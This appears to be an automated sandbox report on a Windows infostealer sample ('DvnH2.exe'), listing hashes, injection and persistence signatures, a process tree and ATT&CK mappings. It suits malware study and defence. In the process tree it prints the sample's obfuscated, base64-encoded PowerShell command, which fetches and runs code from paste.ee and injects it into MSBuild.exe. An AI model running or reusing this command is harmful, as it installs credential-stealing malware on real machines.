0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16

General

Target

DvnH2.exe
Size

847KB
MD5

bc23e4cf90c63d9a84eb905e6ec82f82
SHA1

b82df977fcc19b730ac2cdacec7d3b93617c57ed
SHA256

0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16
SHA512

01007caceb1e777b55d3118f7cb21117f2ca17b4caf211108b90de705c490c472df859da2802d015329b856d1be303bff6f73a624cb720682cea3f1cd0dcddd4

Score

8^/10

persistence spyware evasion trojan

Malware Config

Signatures

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeMSBuild.exeraserver.exe

description	pid	process	target process
PID 1020 set thread context of 1140	1020	powershell.exe	MSBuild.exe
PID 1140 set thread context of 1192	1140	MSBuild.exe	Explorer.EXE
PID 1140 set thread context of 1192	1140	MSBuild.exe	Explorer.EXE
PID 1820 set thread context of 1192	1820	raserver.exe	Explorer.EXE

Suspicious behavior: MapViewOfSection 8 IoCs

Processes:

MSBuild.exeraserver.exe

pid process

1140 MSBuild.exe
1140 MSBuild.exe
1140 MSBuild.exe
1140 MSBuild.exe
1820 raserver.exe
1820 raserver.exe
1820 raserver.exe
1820 raserver.exe
Drops file in Program Files directory 1 IoCs

Processes:

raserver.exe

description ioc process

File opened for modification C:\Program Files (x86)\Iz4nhm\audiodgpbcpl0t.exe raserver.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1140	MSBuild.exe
1140	MSBuild.exe
1140	MSBuild.exe
1140	MSBuild.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Iz4nhm\audiodgpbcpl0t.exe	raserver.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

raserver.exe

description	ioc	process
Key created	\Registry\User\S-1-5-21-910373003-3952921535-3480519689-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	raserver.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Explorer.EXE

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Explorer.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Explorer.EXE

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

DvnH2.exepowershell.exepowershell.exeExplorer.EXEraserver.exe

description	pid	process	target process
PID 1092 wrote to memory of 1332	1092	DvnH2.exe	powershell.exe
PID 1092 wrote to memory of 1332	1092	DvnH2.exe	powershell.exe
PID 1092 wrote to memory of 1332	1092	DvnH2.exe	powershell.exe
PID 1092 wrote to memory of 1332	1092	DvnH2.exe	powershell.exe
PID 1332 wrote to memory of 1020	1332	powershell.exe	powershell.exe
PID 1332 wrote to memory of 1020	1332	powershell.exe	powershell.exe
PID 1332 wrote to memory of 1020	1332	powershell.exe	powershell.exe
PID 1332 wrote to memory of 1020	1332	powershell.exe	powershell.exe
PID 1020 wrote to memory of 1140	1020	powershell.exe	MSBuild.exe
PID 1020 wrote to memory of 1140	1020	powershell.exe	MSBuild.exe
PID 1020 wrote to memory of 1140	1020	powershell.exe	MSBuild.exe
PID 1020 wrote to memory of 1140	1020	powershell.exe	MSBuild.exe
PID 1020 wrote to memory of 1140	1020	powershell.exe	MSBuild.exe
PID 1020 wrote to memory of 1140	1020	powershell.exe	MSBuild.exe
PID 1020 wrote to memory of 1140	1020	powershell.exe	MSBuild.exe
PID 1192 wrote to memory of 1820	1192	Explorer.EXE	raserver.exe
PID 1192 wrote to memory of 1820	1192	Explorer.EXE	raserver.exe
PID 1192 wrote to memory of 1820	1192	Explorer.EXE	raserver.exe
PID 1192 wrote to memory of 1820	1192	Explorer.EXE	raserver.exe
PID 1820 wrote to memory of 1308	1820	raserver.exe	cmd.exe
PID 1820 wrote to memory of 1308	1820	raserver.exe	cmd.exe
PID 1820 wrote to memory of 1308	1820	raserver.exe	cmd.exe
PID 1820 wrote to memory of 1308	1820	raserver.exe	cmd.exe
PID 1820 wrote to memory of 1572	1820	raserver.exe	Firefox.exe
PID 1820 wrote to memory of 1572	1820	raserver.exe	Firefox.exe
PID 1820 wrote to memory of 1572	1820	raserver.exe	Firefox.exe
PID 1820 wrote to memory of 1572	1820	raserver.exe	Firefox.exe
PID 1820 wrote to memory of 1572	1820	raserver.exe	Firefox.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exeraserver.exe

pid	process
1332	powershell.exe
1332	powershell.exe
1020	powershell.exe
1020	powershell.exe
1140	MSBuild.exe
1140	MSBuild.exe
1140	MSBuild.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe
1820	raserver.exe

Blacklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 1020 powershell.exe
5 1020 powershell.exe

flow	pid	process
4	1020	powershell.exe
5	1020	powershell.exe

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

raserver.exe

description	ioc	process
Key created	\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	raserver.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VFIHZLNHGZY8 = "C:\\Program Files (x86)\\Iz4nhm\\audiodgpbcpl0t.exe"	raserver.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exeraserver.exe

description	pid	process
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	1140	MSBuild.exe
Token: SeDebugPrivilege	1820	raserver.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

Explorer.EXE

pid process

1192 Explorer.EXE
1192 Explorer.EXE
1192 Explorer.EXE
1192 Explorer.EXE
1192 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1192 Explorer.EXE
1192 Explorer.EXE
1192 Explorer.EXE
1192 Explorer.EXE

pid	process
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE

pid	process
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE
1192	Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1192

C:\Users\Admin\AppData\Local\Temp\DvnH2.exe
"C:\Users\Admin\AppData\Local\Temp\DvnH2.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHcAagBtAFgAcQAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ATwB1AHcASgBaACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
3⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1332

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHcAagBtAFgAcQAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ATwB1AHcASgBaACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA
4⤵
- Suspicious use of SetThreadContext
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1020

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
5⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1140

C:\Windows\SysWOW64\raserver.exe
"C:\Windows\SysWOW64\raserver.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Adds Run entry to start application
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
PID:1308

C:\Program Files\Mozilla Firefox\Firefox.exe
"C:\Program Files\Mozilla Firefox\Firefox.exe"
3⤵
PID:1572

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\057903T3\057logim.jpeg

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C:\Users\Admin\AppData\Roaming\057903T3\057logrf.ini

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C:\Users\Admin\AppData\Roaming\057903T3\057logri.ini

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C:\Users\Admin\AppData\Roaming\057903T3\057logrv.ini

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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memory/1020-3-0x0000000000000000-mapping.dmp

Download
memory/1140-7-0x0000000000400000-0x000000000042D000-memory.dmp

Filesize
180KB

Download
memory/1140-8-0x000000000041E200-mapping.dmp

Download
memory/1192-9-0x0000000006920000-0x0000000006A21000-memory.dmp

Filesize
1.0MB

Download
memory/1308-12-0x0000000000000000-mapping.dmp

Download
memory/1332-0-0x0000000000000000-mapping.dmp

Download
memory/1572-15-0x0000000000000000-mapping.dmp

Download
memory/1572-16-0x000000013F2C0000-0x000000013F353000-memory.dmp

Filesize
588KB

Download
memory/1820-14-0x0000000003950000-0x0000000003A94000-memory.dmp

Filesize
1.3MB

Download
memory/1820-13-0x0000000003040000-0x00000000031BE000-memory.dmp

Filesize
1.5MB

Download
memory/1820-11-0x0000000000320000-0x000000000033C000-memory.dmp

Filesize
112KB

Download
memory/1820-10-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads